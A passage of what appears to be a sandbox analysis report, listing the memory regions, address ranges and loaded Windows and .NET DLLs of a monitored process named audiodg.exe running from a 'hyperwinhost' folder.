0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5916 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5917 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5918 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5919 start_va = 0x560000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5920 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5921 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 5922 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5923 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5924 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5925 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5926 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5927 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5928 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5929 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5930 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 5931 start_va = 0x910000 end_va = 0xa97fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 5932 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5933 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5934 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5935 start_va = 0xaa0000 end_va = 0xc20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 5936 start_va = 0xc30000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c30000" filename = "" Region: id = 5937 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5938 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5939 start_va = 0x740000 end_va = 0x810fff monitored = 1 entry_point = 0x80f1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 5940 start_va = 0x740000 end_va = 0x810fff monitored = 1 entry_point = 0x80f1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 5941 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5942 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5943 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5944 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5945 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5946 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5947 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5948 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5949 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5950 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5951 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5952 start_va = 0x7fe91ee0000 end_va = 0x7fe91f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 5953 start_va = 0x7fe91f70000 end_va = 0x7fe91fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f70000" filename = "" Region: id = 5954 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 5955 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5956 start_va = 0x660000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 5957 start_va = 0x2030000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 5958 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 5959 start_va = 0x2180000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 5960 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5961 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5962 start_va = 0x2200000 end_va = 0x1a1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5963 start_va = 0x1a200000 end_va = 0x1a57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a200000" filename = "" Region: id = 5964 start_va = 0x1a580000 end_va = 0x1a680fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a580000" filename = "" Region: id = 5965 start_va = 0x1a860000 end_va = 0x1a95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a860000" filename = "" Region: id = 5966 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5967 start_va = 0x1a690000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a690000" filename = "" Region: id = 5968 start_va = 0x1a9d0000 end_va = 0x1aacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9d0000" filename = "" Region: id = 5969 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 5970 start_va = 0x1aad0000 end_va = 0x1ad9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5971 start_va = 0x7feeff20000 end_va = 0x7fef151cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 5972 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5973 start_va = 0x360000 end_va = 0x3dcfff monitored = 0 entry_point = 0x36cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5974 start_va = 0x360000 end_va = 0x3dcfff monitored = 0 entry_point = 0x36cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5975 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5976 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5977 start_va = 0x740000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 5978 start_va = 0x1ada0000 end_va = 0x1ae7efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ada0000" filename = "" Region: id = 5979 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 5980 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 5981 start_va = 0x7fe91fe0000 end_va = 0x7fe9205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91fe0000" filename = "" Region: id = 5982 start_va = 0x7fe92060000 end_va = 0x7fe9206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92060000" filename = "" Region: id = 5983 start_va = 0x7fe92070000 end_va = 0x7fe9207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92070000" filename = "" Region: id = 5984 start_va = 0x7fefb450000 end_va = 0x7fefb452fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 5985 start_va = 0x7fef3ca0000 end_va = 0x7fef3deefff monitored = 1 entry_point = 0x7fef3ca1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 5986 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5987 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5988 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5989 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5990 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5991 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5992 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5993 start_va = 0x1ae80000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae80000" filename = "" Region: id = 5994 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5995 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5996 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5997 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 5998 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5999 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6000 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6001 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6002 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6003 start_va = 0x360000 end_va = 0x3c1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 6004 start_va = 0x1a800000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 6005 start_va = 0x1b0a0000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0a0000" filename = "" Region: id = 6006 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 6007 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 6008 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6009 start_va = 0x1b250000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 6010 start_va = 0x7fefd420000 end_va = 0x7fefd437fff monitored = 0 entry_point = 0x7fefd423b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6011 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 6012 start_va = 0x460000 end_va = 0x4a4fff monitored = 0 entry_point = 0x461064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6013 start_va = 0x4e0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 6014 start_va = 0x460000 end_va = 0x4a4fff monitored = 0 entry_point = 0x461064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6015 start_va = 0x460000 end_va = 0x4a4fff monitored = 0 entry_point = 0x461064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6016 start_va = 0x460000 end_va = 0x4a4fff monitored = 0 entry_point = 0x461064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6017 start_va = 0x460000 end_va = 0x4a4fff monitored = 0 entry_point = 0x461064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6018 start_va = 0x7fefd120000 end_va = 0x7fefd166fff monitored = 0 entry_point = 0x7fefd121064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6019 start_va = 0x7fefdb10000 end_va = 0x7fefdb23fff monitored = 0 entry_point = 0x7fefdb110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 6020 start_va = 0x7feee640000 end_va = 0x7feef2aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 6021 start_va = 0x1b520000 end_va = 0x1b61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 6022 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 6023 start_va = 0x1b3e0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 6024 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 6025 start_va = 0x7fef3aa0000 end_va = 0x7fef3c94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 6026 start_va = 0x7feed590000 end_va = 0x7feee635fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 6027 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6028 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6029 start_va = 0x7fef7260000 end_va = 0x7fef7275fff monitored = 1 entry_point = 0x7fef726e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 6030 start_va = 0x1b620000 end_va = 0x1b8f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 6031 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6032 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6033 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6034 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6035 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6036 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6037 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6038 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6039 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6040 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6041 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6042 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 6043 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 6044 start_va = 0x6b0000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 6045 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 6046 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6047 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6048 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 6049 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 6050 start_va = 0x790000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 6051 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 6052 start_va = 0x760000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 6053 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 6054 start_va = 0x780000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 6055 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 6056 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 6057 start_va = 0x2030000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 6058 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 6059 start_va = 0x2150000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 6060 start_va = 0x2160000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 6061 start_va = 0x2170000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 6062 start_va = 0x1a790000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 6063 start_va = 0x1a7a0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 6064 start_va = 0x1a7b0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 6065 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 6066 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 6067 start_va = 0x1a7e0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 6068 start_va = 0x1a7f0000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 6069 start_va = 0x1a840000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a840000" filename = "" Region: id = 6070 start_va = 0x1a850000 end_va = 0x1a85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 6071 start_va = 0x1a960000 end_va = 0x1a96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 6072 start_va = 0x1a970000 end_va = 0x1a97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a970000" filename = "" Region: id = 6073 start_va = 0x1a980000 end_va = 